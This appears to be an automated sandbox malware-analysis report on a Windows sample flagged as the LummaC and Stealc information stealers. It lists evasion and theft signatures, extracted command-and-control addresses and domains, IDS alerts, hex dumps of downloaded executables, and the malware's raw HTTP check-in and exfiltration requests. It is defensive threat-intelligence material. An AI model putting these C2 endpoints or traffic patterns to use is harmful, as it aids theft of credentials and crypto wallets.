Edit tour

Windows Analysis Report
MFQbv2Yuzv.exe

Overview

General Information

Sample name:	MFQbv2Yuzv.exe renamed because original name is a hash value
Original sample name:	81cfbdcd567c50d28a6380910dd6cf83.exe
Analysis ID:	1578084
MD5:	81cfbdcd567c50d28a6380910dd6cf83
SHA1:	3fac13a3e2416853ce16ed6052ba91e4ec978c86
SHA256:	55cb3e812b8545ae08027c08bc3d8d0ffc8e6cd2854547a582ab3c4e2db88d1d
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

MFQbv2Yuzv.exe (PID: 4368 cmdline: "C:\Users\user\Desktop\MFQbv2Yuzv.exe" MD5: 81CFBDCD567C50D28A6380910DD6CF83)

D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe (PID: 5996 cmdline: "C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe" MD5: 44C034B1AD003CD71788ED1DDE918242)

58AOE6AB3YG1SX0XN83.exe (PID: 1036 cmdline: "C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe" MD5: 54FDA3AEEC860324D9E721BF82B9B350)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["crosshuaht.lat", "necklacebudi.lat", "energyaffai.lat", "rapeflowwj.lat", "sustainskelet.lat", "sweepyribs.lat", "aspecteirs.lat", "discokeyus.lat", "grannyejh.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2522024331.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2565885468.0000000000571000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: MFQbv2Yuzv.exe PID: 4368	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: MFQbv2Yuzv.exe PID: 4368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MFQbv2Yuzv.exe PID: 4368	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 58AOE6AB3YG1SX0XN83.exe PID: 1036	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 58AOE6AB3YG1SX0XN83.exe PID: 1036	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:02.099402+0100	2028371	3	Unknown Traffic	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:04.320943+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:06.769445+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	104.21.64.80	443	TCP
2024-12-19T08:46:09.059138+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	104.21.64.80	443	TCP
2024-12-19T08:46:11.569481+0100	2028371	3	Unknown Traffic	192.168.2.6	49729	104.21.64.80	443	TCP
2024-12-19T08:46:14.138372+0100	2028371	3	Unknown Traffic	192.168.2.6	49736	104.21.64.80	443	TCP
2024-12-19T08:46:16.701323+0100	2028371	3	Unknown Traffic	192.168.2.6	49745	104.21.64.80	443	TCP
2024-12-19T08:46:20.384670+0100	2028371	3	Unknown Traffic	192.168.2.6	49757	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:03.098381+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:05.140813+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:21.247371+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49757	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:03.098381+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49708	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:05.140813+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	104.21.64.80	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:02.099402+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:04.320943+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:06.769445+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49712	104.21.64.80	443	TCP
2024-12-19T08:46:09.059138+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49718	104.21.64.80	443	TCP
2024-12-19T08:46:11.569481+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49729	104.21.64.80	443	TCP
2024-12-19T08:46:14.138372+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49736	104.21.64.80	443	TCP
2024-12-19T08:46:16.701323+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49745	104.21.64.80	443	TCP
2024-12-19T08:46:20.384670+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49757	104.21.64.80	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:22.747601+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49764	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:00.700620+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	63640	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:00.554576+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	62838	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:10.098073+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49718	104.21.64.80	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:46:39.954496+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49799	185.215.113.206	80	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, 00000003.00000003.2430615684.00000000011B0000.00000004.00001000.00020000.00000000.sdmp, D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, 00000003.00000002.2564744678.0000000000C82000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:63640 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:62838 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49708 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49710 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49729 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49712 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49736 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49718 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49757 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49745 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49799 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49708 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49708 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49757 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49718 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 104.21.64.80:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:46:21 GMTContent-Type: application/octet-streamContent-Length: 1719808Last-Modified: Thu, 19 Dec 2024 07:22:27 GMTConnection: keep-aliveETag: "6763c9b3-1a3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 44 00 00 04 00 00 39 5c 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 76 69 77 6c 76 7a 7a 00 e0 19 00 00 60 2a 00 00 dc 19 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 64 70 75 67 70 7a 00 20 00 00 00 40 44 00 00 06 00 00 00 16 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 44 00 00 22 00 00 00 1c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:46:25 GMTContent-Type: application/octet-streamContent-Length: 2856960Last-Modified: Thu, 19 Dec 2024 07:24:04 GMTConnection: keep-aliveETag: "6763ca14-2b9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd 7d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 66 6f 73 6b 61 66 77 00 00 2a 00 00 c0 24 00 00 f6 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 61 67 78 73 62 70 00 10 00 00 00 c0 4e 00 00 04 00 00 00 72 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4e 00 00 22 00 00 00 76 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 46 32 46 43 39 39 44 30 34 32 31 35 36 31 32 32 34 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="hwid"B6F2FC99D042156122474------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="build"stok------HCFIIIJJKJKFHIDGDBAK--

Source: Joe Sandbox View	IP Address: 104.21.64.80 104.21.64.80
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49729 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49736 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49718 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49757 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49764 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49745 -> 104.21.64.80:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=39GTNV83S6FESCI9JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12853Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AAOZVF18User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15045Host: grannyejh.lat
